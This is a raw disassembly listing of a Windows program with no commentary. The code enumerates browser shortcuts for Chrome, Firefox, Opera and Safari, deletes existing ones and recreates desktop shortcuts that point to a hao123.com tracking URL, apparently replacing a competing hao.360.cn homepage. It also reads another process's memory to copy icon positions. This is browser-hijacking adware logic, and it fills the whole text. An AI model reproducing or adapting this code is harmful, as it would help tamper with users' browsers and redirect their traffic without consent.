add esp, 8
test eax, eax
je 0x428745
sub eax, esi
sar eax, 1
je 0x4289b2
lea ecx, [ebp - 0x668]
push 0x445e0c
push ecx
call fcn.0040e670
add esp, 8
test al, al
je 0x4289b2
push 0x20
lea ecx, [ebp - 0x668]
call fcn.00413e90
mov edx, dword [esi - 0xc]
mov dword [ebp - 0x628], eax
inc eax
sub edx, eax
push edx
push eax
lea eax, [ebp - 0x6a4]
push eax
lea ecx, [ebp - 0x668]
call fcn.00421b00
mov edi, dword [ebp - 0x6a4]
cmp dword [edi - 0xc], 0
jge 0x42879f
or esi, 0xffffffff
jmp 0x4287bc
push 0x448d24
push edi
call fcn.0042e2fd
add esp, 8
test eax, eax
jne 0x4287b6
or esi, 0xffffffff
jmp 0x4287bc
sub eax, edi
sar eax, 1
mov esi, eax
push 0x22
lea ecx, [ebp - 0x6a4]
call fcn.00413e90
sub eax, esi
dec eax
push eax
inc esi
push esi
lea ecx, [ebp - 0x6f0]
push ecx
lea ecx, [ebp - 0x6a4]
call fcn.00421b00
lea ecx, [ebp - 0x6f0]
call fcn.004021f0
mov edx, dword [edi - 0xc]
mov eax, dword [ebp - 0x628]
inc edx
push edx
push eax
lea ecx, [ebp - 0x668]
call fcn.0041f1c0
lea ecx, [ebp - 0x6a4]
push str.http:__hao.360.cn__srclmlsn74a343a692
push ecx
call fcn.0041bc80
add esp, 8
test al, al
jne 0x4289a7
lea edx, [ebp - 0x310]
mov edi, 1
add dword [0x45669c], edi
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x104
lea eax, [ebp - 0x414]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x414]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
push 0x103
lea edx, [ebp - 0x107]
push 0
push edx
mov byte [ebp - 0x108], 0
call fcn.0042d580
add esp, 0xc
push 0
push 0
lea eax, [ebp - 0x108]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp - 0x108]
dec eax
nop
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x428890
mov ecx, dword [str.32345]
mov edx, dword [0x448b38]
mov dword [eax], ecx
mov ecx, dword [0x448b3c]
mov dword [eax + 4], edx
mov edx, dword [0x448b40]
mov dword [eax + 8], ecx
mov ecx, dword [0x448b44]
mov dword [eax + 0xc], edx
mov dl, byte [0x448b48]
mov dword [eax + 0x10], ecx
mov byte [eax + 0x14], dl
mov eax, dword [ebp - 0x668]
mov edx, dword [eax - 8]
mov ecx, edi
sub ecx, dword [eax - 4]
sub edx, 0x104
or ecx, edx
jge 0x4288fb
push 0x104
lea ecx, [ebp - 0x668]
call fcn.00401bb0
mov eax, dword [ebp - 0x668]
push eax
lea ecx, [ebp - 0x760]
call fcn.0041c630
mov esi, dword [eax]
push ecx
mov ecx, esp
push str.hao123
call fcn.00408290
lea eax, [ebp - 0x108]
push eax
lea ecx, [ebp - 0x414]
push ecx
push ecx
mov ecx, esp
push str._http:__www.hao123.com__tn95212889_hao_pg_
call fcn.00407e20
push esi
call fcn.00422f50
add esp, 0x14
lea ecx, [ebp - 0x760]
call fcn.004021f0
mov esi, dword [ebp - 0x640]
mov edx, dword [ebp - 0x630]
mov eax, dword [ebp - 0x634]
push esi
push edx
push 0x100e
push eax
call dword [sym.imp.USER32.dll_SendMessageW]
mov edx, dword [ebp - 0x638]
push 0
push 0x10
lea ecx, [ebp - 0x624]
push ecx
push esi
push edx
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [ebp - 0x624]
mov ecx, dword [ebp - 0x620]
mov edx, dword [ebp - 0x61c]
mov dword [ebx], eax
mov eax, dword [ebp - 0x618]
mov dword [ebx + 4], ecx
mov dword [ebx + 8], edx
mov dword [ebx + 0xc], eax
mov dword [ebp - 0x63c], edi
lea ecx, [ebp - 0x6a4]
call fcn.004021f0
lea ecx, [ebp - 0x668]
jmp 0x42aefa
lea ecx, [ebp - 0x62c]
push str.Google_Chrome
push ecx
call fcn.0041bc80
add esp, 8
test al, al
jne 0x42ab5b
lea edx, [ebp - 0x62c]
push str.Chrome
push edx
call fcn.0041bc80
add esp, 8
test al, al
jne 0x42ab5b
lea eax, [ebp - 0x62c]
push str.firefox
push eax
call fcn.0041bc80
add esp, 8
test al, al
jne 0x42a7c4
lea ecx, [ebp - 0x62c]
push str.Mozilla_Firefox
push ecx
call fcn.0041bc80
add esp, 8
test al, al
jne 0x42a7c4
lea edx, [ebp - 0x62c]
push 0x448acc
push edx
call fcn.0041bc80
add esp, 8
test al, al
je 0x428ddb
xor eax, eax
push 0x206
push eax
lea ecx, [ebp - 0x30e]
push ecx
mov word [ebp - 0x310], ax
call fcn.0042d580
add esp, 0xc
push 0
push 0
lea edx, [ebp - 0x310]
push edx
push 0
call edi
lea edi, [ebp - 0x310]
add edi, 0xfffffffe
nop
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x428a80
mov eax, dword [0x447ed4]
mov dword [edi], eax
mov eax, dword [ebp - 0x62c]
mov edx, eax
jmp 0x428aa0
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x428aa0
lea edi, [ebp - 0x310]
sub eax, edx
add edi, 0xfffffffe
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x428ab6
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x310]
rep movsb byte es:[edi], byte [esi]
add eax, 0xfffffffe
jmp 0x428ae0
mov cx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x428ae0
mov ecx, dword [0x4489a8]
mov edx, dword [0x4489ac]
mov dword [eax], ecx
mov cx, word [0x4489b0]
mov dword [eax + 4], edx
mov word [eax + 8], cx
push 0x445e0c
lea ecx, [ebp - 0x670]
call fcn.00408290
push ecx
lea edx, [ebp - 0x310]
mov ecx, esp
push edx
call fcn.00408290
lea eax, [ebp - 0x6f8]
push eax
call fcn.00423510
add esp, 8
push eax
lea ecx, [ebp - 0x670]
call fcn.00402bf0
lea ecx, [ebp - 0x6f8]
call fcn.004021f0
mov esi, dword [ebp - 0x670]
cmp dword [esi - 0xc], 0
jl 0x428b75
push 0x448d28
push esi
call fcn.0042e2fd
add esp, 8
test eax, eax
je 0x428b75
sub eax, esi
sar eax, 1
je 0x428dd0
lea ecx, [ebp - 0x670]
push 0x445e0c
push ecx
call fcn.0040e670
add esp, 8
test al, al
je 0x428dd0
push 0x20
lea ecx, [ebp - 0x670]
call fcn.00413e90
mov edx, dword [esi - 0xc]
mov dword [ebp - 0x628], eax
inc eax
sub edx, eax
push edx
push eax
lea eax, [ebp - 0x6ac]
push eax
lea ecx, [ebp - 0x670]
call fcn.00421b00
mov edi, dword [ebp - 0x6ac]
cmp dword [edi - 0xc], 0
jge 0x428bcf
or esi, 0xffffffff
jmp 0x428bec
push 0x448d24
push edi
call fcn.0042e2fd
add esp, 8
test eax, eax
jne 0x428be6
or esi, 0xffffffff
jmp 0x428bec
sub eax, edi
sar eax, 1
mov esi, eax
push 0x22
lea ecx, [ebp - 0x6ac]
call fcn.00413e90
sub eax, esi
dec eax
push eax
inc esi
push esi
lea ecx, [ebp - 0x740]
push ecx
lea ecx, [ebp - 0x6ac]
call fcn.00421b00
lea ecx, [ebp - 0x740]
call fcn.004021f0
mov edx, dword [edi - 0xc]
mov eax, dword [ebp - 0x628]
inc edx
push edx
push eax
lea ecx, [ebp - 0x670]
call fcn.0041f1c0
lea ecx, [ebp - 0x6ac]
push str.http:__hao.360.cn__srclmlsn74a343a692
push ecx
call fcn.0041bc80
add esp, 8
test al, al
jne 0x428dc5
lea edx, [ebp - 0x310]
mov edi, 1
add dword [0x45669c], edi
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x104
lea eax, [ebp - 0x414]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x414]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
push 0x103
lea edx, [ebp - 0x107]
push 0
push edx
mov byte [ebp - 0x108], 0
call fcn.0042d580
add esp, 0xc
push 0
push 0
lea eax, [ebp - 0x108]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp - 0x108]
dec eax
nop
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x428cc0
mov ecx, dword [0x448abc]
mov edx, dword [0x448ac0]
mov dword [eax], ecx
mov ecx, dword [0x448ac4]
mov dword [eax + 4], edx
mov edx, dword [0x448ac8]
mov dword [eax + 8], ecx
mov dword [eax + 0xc], edx
mov eax, dword [ebp - 0x670]
mov edx, dword [eax - 8]
mov ecx, edi
sub ecx, dword [eax - 4]
sub edx, 0x104
or ecx, edx
jge 0x428d19
push 0x104
lea ecx, [ebp - 0x670]
call fcn.00401bb0
mov eax, dword [ebp - 0x670]
push eax
lea ecx, [ebp - 0x700]
call fcn.0041c630
mov esi, dword [eax]
push ecx
mov ecx, esp
push str.hao123
call fcn.00408290
lea eax, [ebp - 0x108]
push eax
lea ecx, [ebp - 0x414]
push ecx
push ecx
mov ecx, esp
push str._http:__www.hao123.com__tn95212889_hao_pg_
call fcn.00407e20
push esi
call fcn.00422f50
add esp, 0x14
lea ecx, [ebp - 0x700]
call fcn.004021f0
mov esi, dword [ebp - 0x640]
mov edx, dword [ebp - 0x630]
mov eax, dword [ebp - 0x634]
push esi
push edx
push 0x100e
push eax
call dword [sym.imp.USER32.dll_SendMessageW]
mov edx, dword [ebp - 0x638]
push 0
push 0x10
lea ecx, [ebp - 0x624]
push ecx
push esi
push edx
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [ebp - 0x624]
mov ecx, dword [ebp - 0x620]
mov edx, dword [ebp - 0x61c]
mov dword [ebx], eax
mov eax, dword [ebp - 0x618]
mov dword [ebx + 4], ecx
mov dword [ebx + 8], edx
mov dword [ebx + 0xc], eax
mov dword [ebp - 0x63c], edi
lea ecx, [ebp - 0x6ac]
call fcn.004021f0
lea ecx, [ebp - 0x670]
jmp 0x42aefa
lea ecx, [ebp - 0x62c]
push 0x448aac
push ecx
call fcn.0041bc80
add esp, 8
test al, al
je 0x429194
xor edx, edx
push 0x206
push edx
lea eax, [ebp - 0x30e]
push eax
mov word [ebp - 0x310], dx
call fcn.0042d580
add esp, 0xc
push 0
push 0
lea ecx, [ebp - 0x310]
push ecx
push 0
call edi
lea edi, [ebp - 0x310]
add edi, 0xfffffffe
lea ecx, [ecx]
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x428e30
mov edx, dword [0x447ed4]
mov eax, dword [ebp - 0x62c]
mov dword [edi], edx
mov edx, eax
lea esp, [esp]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x428e50
lea edi, [ebp - 0x310]
sub eax, edx
add edi, 0xfffffffe
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x428e66
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x310]
rep movsb byte es:[edi], byte [esi]
add eax, 0xfffffffe
jmp 0x428e90
mov cx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x428e90
mov ecx, dword [0x4489a8]
mov edx, dword [0x4489ac]
mov dword [eax], ecx
mov cx, word [0x4489b0]
mov dword [eax + 4], edx
mov word [eax + 8], cx
push 0x445e0c
lea ecx, [ebp - 0x678]
call fcn.00408290
push ecx
lea edx, [ebp - 0x310]
mov ecx, esp
push edx
call fcn.00408290
lea eax, [ebp - 0x764]
push eax
call fcn.00423510
add esp, 8
push eax
lea ecx, [ebp - 0x678]
call fcn.00402bf0
lea ecx, [ebp - 0x764]
call fcn.004021f0
mov esi, dword [ebp - 0x678]
cmp dword [esi - 0xc], 0
jl 0x428f25
push 0x448d28
push esi
call fcn.0042e2fd
add esp, 8
test eax, eax
je 0x428f25
sub eax, esi
sar eax, 1
je 0x429189
lea ecx, [ebp - 0x678]
push 0x445e0c
push ecx
call fcn.0040e670
add esp, 8
test al, al
je 0x429189
push 0x20
lea ecx, [ebp - 0x678]
call fcn.00413e90
mov edx, dword [esi - 0xc]
mov dword [ebp - 0x628], eax
inc eax
sub edx, eax
push edx
push eax
lea eax, [ebp - 0x6b4]
push eax
lea ecx, [ebp - 0x678]
call fcn.00421b00
mov edi, dword [ebp - 0x6b4]
cmp dword [edi - 0xc], 0
jge 0x428f7f
or esi, 0xffffffff
jmp 0x428f9c
push 0x448d24
push edi
call fcn.0042e2fd
add esp, 8
test eax, eax
jne 0x428f96
or esi, 0xffffffff
jmp 0x428f9c
sub eax, edi
sar eax, 1
mov esi, eax
push 0x22
lea ecx, [ebp - 0x6b4]
call fcn.00413e90
sub eax, esi
dec eax
push eax
inc esi
push esi
lea ecx, [ebp - 0x708]
push ecx
lea ecx, [ebp - 0x6b4]
call fcn.00421b00
lea ecx, [ebp - 0x708]
call fcn.004021f0
mov edx, dword [edi - 0xc]
mov eax, dword [ebp - 0x628]
inc edx
push edx
push eax
lea ecx, [ebp - 0x678]
call fcn.0041f1c0
lea ecx, [ebp - 0x6b4]
push str.http:__hao.360.cn__srclmlsn74a343a692
push ecx
call fcn.0041bc80
add esp, 8
test al, al
jne 0x42917e
lea edx, [ebp - 0x310]
mov edi, 1
add dword [0x45669c], edi
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x104
lea eax, [ebp - 0x414]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x414]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
push 0x103
lea edx, [ebp - 0x107]
push 0
push edx
mov byte [ebp - 0x108], 0
call fcn.0042d580
add esp, 0xc
push 0
push 0
lea eax, [ebp - 0x108]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp - 0x108]
dec eax
nop
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x429070
mov ecx, dword [0x448a98]
mov edx, dword [0x448a9c]
mov dword [eax], ecx
mov ecx, dword [0x448aa0]
mov dword [eax + 4], edx
mov edx, dword [0x448aa4]
mov dword [eax + 8], ecx
mov ecx, dword [0x448aa8]
mov dword [eax + 0xc], edx
mov dword [eax + 0x10], ecx
mov eax, dword [ebp - 0x678]
mov ecx, dword [eax - 8]
mov edx, edi
sub edx, dword [eax - 4]
sub ecx, 0x104
or edx, ecx
jge 0x4290d2
push 0x104
lea ecx, [ebp - 0x678]
call fcn.00401bb0
mov eax, dword [ebp - 0x678]
push eax
lea ecx, [ebp - 0x748]
call fcn.0041c630
mov esi, dword [eax]
push ecx
mov ecx, esp
push str.hao123
call fcn.00408290
lea edx, [ebp - 0x108]
push edx
lea eax, [ebp - 0x414]
push eax
push ecx
mov ecx, esp
push str._http:__www.hao123.com__tn95212889_hao_pg_
call fcn.00407e20
push esi
call fcn.00422f50
add esp, 0x14
lea ecx, [ebp - 0x748]
call fcn.004021f0
mov esi, dword [ebp - 0x640]
mov ecx, dword [ebp - 0x630]
mov edx, dword [ebp - 0x634]
push esi
push ecx
push 0x100e
push edx
call dword [sym.imp.USER32.dll_SendMessageW]
mov ecx, dword [ebp - 0x638]
push 0
push 0x10
lea eax, [ebp - 0x624]
push eax
push esi
push ecx
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov edx, dword [ebp - 0x624]
mov eax, dword [ebp - 0x620]
mov ecx, dword [ebp - 0x61c]
mov dword [ebx], edx
mov edx, dword [ebp - 0x618]
mov dword [ebx + 4], eax
mov dword [ebx + 8], ecx
mov dword [ebx + 0xc], edx
mov dword [ebp - 0x63c], edi
lea ecx, [ebp - 0x6b4]
call fcn.004021f0
lea ecx, [ebp - 0x678]
jmp 0x42aefa
lea eax, [ebp - 0x62c]
push 0x448a8c
push eax
call fcn.0041bc80
add esp, 8
test al, al
je 0x42953f
xor ecx, ecx
push 0x206
push ecx
lea edx, [ebp - 0x30e]
push edx
mov word [ebp - 0x310], cx
call fcn.0042d580
add esp, 0xc
push 0
push 0
lea eax, [ebp - 0x310]
push eax
push 0
call edi
lea edi, [ebp - 0x310]
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x4291e6
mov ecx, dword [0x447ed4]
mov eax, dword [ebp - 0x62c]
mov dword [edi], ecx
mov edx, eax
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x429202
lea edi, [ebp - 0x310]
sub eax, edx
add edi, 0xfffffffe
jmp 0x429220
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x429220
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x310]
rep movsb byte es:[edi], byte [esi]
add eax, 0xfffffffe
mov cx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x429245
mov edx, dword [0x4489a8]
mov ecx, dword [0x4489ac]
mov dword [eax], edx
mov dx, word [0x4489b0]
mov dword [eax + 4], ecx
push 0x445e0c
lea ecx, [ebp - 0x664]
mov word [eax + 8], dx
call fcn.00408290
push ecx
lea eax, [ebp - 0x310]
mov ecx, esp
push eax
call fcn.00408290
lea ecx, [ebp - 0x710]
push ecx
call fcn.00423510
add esp, 8
push eax
lea ecx, [ebp - 0x664]
call fcn.00402bf0
lea ecx, [ebp - 0x710]
call fcn.004021f0
mov esi, dword [ebp - 0x664]
cmp dword [esi - 0xc], 0
jl 0x4292da
push 0x448d28
push esi
call fcn.0042e2fd
add esp, 8
test eax, eax
je 0x4292da
sub eax, esi
sar eax, 1
je 0x429534
lea edx, [ebp - 0x664]
push 0x445e0c
push edx
call fcn.0040e670
add esp, 8
test al, al
je 0x429534
push 0x20
lea ecx, [ebp - 0x664]
call fcn.00413e90
mov ecx, dword [esi - 0xc]
mov dword [ebp - 0x628], eax
inc eax
sub ecx, eax
push ecx
push eax
lea edx, [ebp - 0x688]
push edx
lea ecx, [ebp - 0x664]
call fcn.00421b00
mov edi, dword [ebp - 0x688]
cmp dword [edi - 0xc], 0
jge 0x429334
or esi, 0xffffffff
jmp 0x429351
push 0x448d24
push edi
call fcn.0042e2fd
add esp, 8
test eax, eax
jne 0x42934b
or esi, 0xffffffff
jmp 0x429351
sub eax, edi
sar eax, 1
mov esi, eax
push 0x22
lea ecx, [ebp - 0x688]
call fcn.00413e90
sub eax, esi
dec eax
push eax
inc esi
push esi
lea eax, [ebp - 0x768]
push eax
lea ecx, [ebp - 0x688]
call fcn.00421b00
lea ecx, [ebp - 0x768]
call fcn.004021f0
mov ecx, dword [edi - 0xc]
mov edx, dword [ebp - 0x628]
inc ecx
push ecx
push edx
lea ecx, [ebp - 0x664]
call fcn.0041f1c0
lea eax, [ebp - 0x688]
push str.http:__hao.360.cn__srclmlsn74a343a692
push eax
call fcn.0041bc80
add esp, 8
test al, al
jne 0x429529
lea ecx, [ebp - 0x310]
mov edi, 1
add dword [0x45669c], edi
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x104
lea edx, [ebp - 0x414]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
push 0x103
lea ecx, [ebp - 0x107]
push 0
push ecx
mov byte [ebp - 0x108], 0
call fcn.0042d580
add esp, 0xc
push 0
push 0
lea edx, [ebp - 0x108]
push edx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp - 0x108]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x429424
mov ecx, dword [0x448a7c]
mov edx, dword [0x448a80]
mov dword [eax], ecx
mov ecx, dword [0x448a84]
mov dword [eax + 4], edx
mov edx, dword [0x448a88]
mov dword [eax + 8], ecx
mov dword [eax + 0xc], edx
mov eax, dword [ebp - 0x664]
mov edx, dword [eax - 8]
mov ecx, edi
sub ecx, dword [eax - 4]
sub edx, 0x104
or ecx, edx
jge 0x42947d
push 0x104
lea ecx, [ebp - 0x664]
call fcn.00401bb0
mov eax, dword [ebp - 0x664]
push eax
lea ecx, [ebp - 0x718]
call fcn.0041c630
mov esi, dword [eax]
push ecx
mov ecx, esp
push str.hao123
call fcn.00408290
lea eax, [ebp - 0x108]
push eax
lea ecx, [ebp - 0x414]
push ecx
push ecx
mov ecx, esp
push str._http:__www.hao123.com__tn95212889_hao_pg_
call fcn.00407e20
push esi
call fcn.00422f50
add esp, 0x14
lea ecx, [ebp - 0x718]
call fcn.004021f0
mov esi, dword [ebp - 0x640]
mov edx, dword [ebp - 0x630]
mov eax, dword [ebp - 0x634]
push esi
push edx
push 0x100e
push eax
call dword [sym.imp.USER32.dll_SendMessageW]
mov edx, dword [ebp - 0x638]
push 0
push 0x10
lea ecx, [ebp - 0x624]
push ecx
push esi
push edx
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [ebp - 0x624]
mov ecx, dword [ebp - 0x620]
mov edx, dword [ebp - 0x61c]
mov dword [ebx], eax
mov eax, dword [ebp - 0x618]
mov dword [ebx + 4], ecx
mov dword [ebx + 8], edx
mov dword [ebx + 0xc], eax
mov dword [ebp - 0x63c], edi
lea ecx, [ebp - 0x688]
call fcn.004021f0
lea ecx, [ebp - 0x664]
jmp 0x42aefa
lea ecx, [ebp - 0x62c]
push str.Opera
push ecx
call fcn.0041bc80
add esp, 8
test al, al
je 0x4298ed
xor edx, edx
push 0x206
push edx
lea eax, [ebp - 0x30e]
push eax
mov word [ebp - 0x310], dx
call fcn.0042d580
add esp, 0xc
push 0
push 0
lea ecx, [ebp - 0x310]
push ecx
push 0
call edi
lea edi, [ebp - 0x310]
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x429591
mov edx, dword [0x447ed4]
mov eax, dword [ebp - 0x62c]
mov dword [edi], edx
mov edx, eax
lea ecx, [ecx]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4295b0
lea edi, [ebp - 0x310]
sub eax, edx
add edi, 0xfffffffe
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x4295c6
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x310]
rep movsb byte es:[edi], byte [esi]
add eax, 0xfffffffe
jmp 0x4295f0
mov cx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x4295f0
mov ecx, dword [0x4489a8]
mov edx, dword [0x4489ac]
mov dword [eax], ecx
mov cx, word [0x4489b0]
mov dword [eax + 4], edx
mov word [eax + 8], cx
push 0x445e0c
lea ecx, [ebp - 0x644]
call fcn.00408290
push ecx
lea edx, [ebp - 0x310]
mov ecx, esp
push edx
call fcn.00408290
lea eax, [ebp - 0x750]
push eax
call fcn.00423510
add esp, 8
push eax
lea ecx, [ebp - 0x644]
call fcn.00402bf0
lea ecx, [ebp - 0x750]
call fcn.004021f0
mov esi, dword [ebp - 0x644]
cmp dword [esi - 0xc], 0
jl 0x429685
push 0x448d28
push esi
call fcn.0042e2fd
add esp, 8
test eax, eax
je 0x429685
sub eax, esi
sar eax, 1
je 0x4298e2
lea ecx, [ebp - 0x644]
push 0x445e0c
push ecx
call fcn.0040e670
add esp, 8
test al, al
je 0x4298e2
push 0x20
lea ecx, [ebp - 0x644]
call fcn.00413e90
mov edx, dword [esi - 0xc]
mov dword [ebp - 0x628], eax
inc eax
sub edx, eax
push edx
push eax
lea eax, [ebp - 0x68c]
push eax
lea ecx, [ebp - 0x644]
call fcn.00421b00
mov edi, dword [ebp - 0x68c]
cmp dword [edi - 0xc], 0
jge 0x4296df
or esi, 0xffffffff
jmp 0x4296fc
push 0x448d24
push edi
call fcn.0042e2fd
add esp, 8
test eax, eax
jne 0x4296f6
or esi, 0xffffffff
jmp 0x4296fc
sub eax, edi
sar eax, 1
mov esi, eax
push 0x22
lea ecx, [ebp - 0x68c]
call fcn.00413e90
sub eax, esi
dec eax
push eax
inc esi
push esi
lea ecx, [ebp - 0x720]
push ecx
lea ecx, [ebp - 0x68c]
call fcn.00421b00
lea ecx, [ebp - 0x720]
call fcn.004021f0
mov edx, dword [edi - 0xc]
mov eax, dword [ebp - 0x628]
inc edx
push edx
push eax
lea ecx, [ebp - 0x644]
call fcn.0041f1c0
lea ecx, [ebp - 0x68c]
push str.http:__hao.360.cn__srclmlsn74a343a692
push ecx
call fcn.0041bc80
add esp, 8
test al, al
jne 0x4298d7
lea edx, [ebp - 0x310]
mov edi, 1
add dword [0x45669c], edi
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x104
lea eax, [ebp - 0x414]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x414]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
push 0x103
lea edx, [ebp - 0x107]
push 0
push edx
mov byte [ebp - 0x108], 0
call fcn.0042d580
add esp, 0xc
push 0
push 0
lea eax, [ebp - 0x108]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp - 0x108]
dec eax
nop
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x4297d0
mov ecx, dword [str.Opera.lnk]
mov edx, dword [0x448a68]
mov dword [eax], ecx
mov cx, word [0x448a6c]
mov dword [eax + 4], edx
mov dl, byte [0x448a6e]
mov word [eax + 8], cx
mov byte [eax + 0xa], dl
mov eax, dword [ebp - 0x644]
mov edx, dword [eax - 8]
mov ecx, edi
sub ecx, dword [eax - 4]
sub edx, 0x104
or ecx, edx
jge 0x42982b
push 0x104
lea ecx, [ebp - 0x644]
call fcn.00401bb0
mov eax, dword [ebp - 0x644]
push eax
lea ecx, [ebp - 0x76c]
call fcn.0041c630
mov esi, dword [eax]
push ecx
mov ecx, esp
push str.hao123
call fcn.00408290
lea eax, [ebp - 0x108]
push eax
lea ecx, [ebp - 0x414]
push ecx
push ecx
mov ecx, esp
push str._http:__www.hao123.com__tn95212889_hao_pg_
call fcn.00407e20
push esi
call fcn.00422f50
add esp, 0x14
lea ecx, [ebp - 0x76c]
call fcn.004021f0
mov esi, dword [ebp - 0x640]
mov edx, dword [ebp - 0x630]
mov eax, dword [ebp - 0x634]
push esi
push edx
push 0x100e
push eax
call dword [sym.imp.USER32.dll_SendMessageW]
mov edx, dword [ebp - 0x638]
push 0
push 0x10
lea ecx, [ebp - 0x624]
push ecx
push esi
push edx
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [ebp - 0x624]
mov ecx, dword [ebp - 0x620]
mov edx, dword [ebp - 0x61c]
mov dword [ebx], eax
mov eax, dword [ebp - 0x618]
mov dword [ebx + 4], ecx
mov dword [ebx + 8], edx
mov dword [ebx + 0xc], eax
mov dword [ebp - 0x63c], edi
lea ecx, [ebp - 0x68c]
call fcn.004021f0
lea ecx, [ebp - 0x644]
jmp 0x42aefa
lea ecx, [ebp - 0x62c]
push str.Safari
push ecx
call fcn.0041bc80
add esp, 8
test al, al
je 0x429c92
xor edx, edx
push 0x206
push edx
lea eax, [ebp - 0x30e]
push eax
mov word [ebp - 0x310], dx
call fcn.0042d580
add esp, 0xc
push 0
push 0
lea ecx, [ebp - 0x310]
push ecx
push 0
call edi
lea edi, [ebp - 0x310]
add edi, 0xfffffffe
nop
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x429940
mov edx, dword [0x447ed4]
mov eax, dword [ebp - 0x62c]
mov dword [edi], edx
mov edx, eax
lea esp, [esp]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x429960
lea edi, [ebp - 0x310]
sub eax, edx
add edi, 0xfffffffe
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x429976
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x310]
rep movsb byte es:[edi], byte [esi]
add eax, 0xfffffffe
jmp 0x4299a0
mov cx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x4299a0
mov ecx, dword [0x4489a8]
mov edx, dword [0x4489ac]
mov dword [eax], ecx
mov cx, word [0x4489b0]
mov dword [eax + 4], edx
mov word [eax + 8], cx
push 0x445e0c
lea ecx, [ebp - 0x650]
call fcn.00408290
push ecx
lea edx, [ebp - 0x310]
mov ecx, esp
push edx
call fcn.00408290
lea eax, [ebp - 0x728]
push eax
call fcn.00423510
add esp, 8
push eax
lea ecx, [ebp - 0x650]
call fcn.00402bf0
lea ecx, [ebp - 0x728]
call fcn.004021f0
mov esi, dword [ebp - 0x650]
cmp dword [esi - 0xc], 0
jl 0x429a35
push 0x448d28
push esi
call fcn.0042e2fd
add esp, 8
test eax, eax
je 0x429a35
sub eax, esi
sar eax, 1
je 0x429c87
lea ecx, [ebp - 0x650]
push 0x445e0c
push ecx
call fcn.0040e670
add esp, 8
test al, al
je 0x429c87
push 0x20
lea ecx, [ebp - 0x650]
call fcn.00413e90
mov edx, dword [esi - 0xc]
mov dword [ebp - 0x628], eax
inc eax
sub edx, eax
push edx
push eax
lea eax, [ebp - 0x6a0]
push eax
lea ecx, [ebp - 0x650]
call fcn.00421b00
mov edi, dword [ebp - 0x6a0]
cmp dword [edi - 0xc], 0
jge 0x429a8f
or esi, 0xffffffff
jmp 0x429aac
push 0x448d24
push edi
call fcn.0042e2fd
add esp, 8
test eax, eax
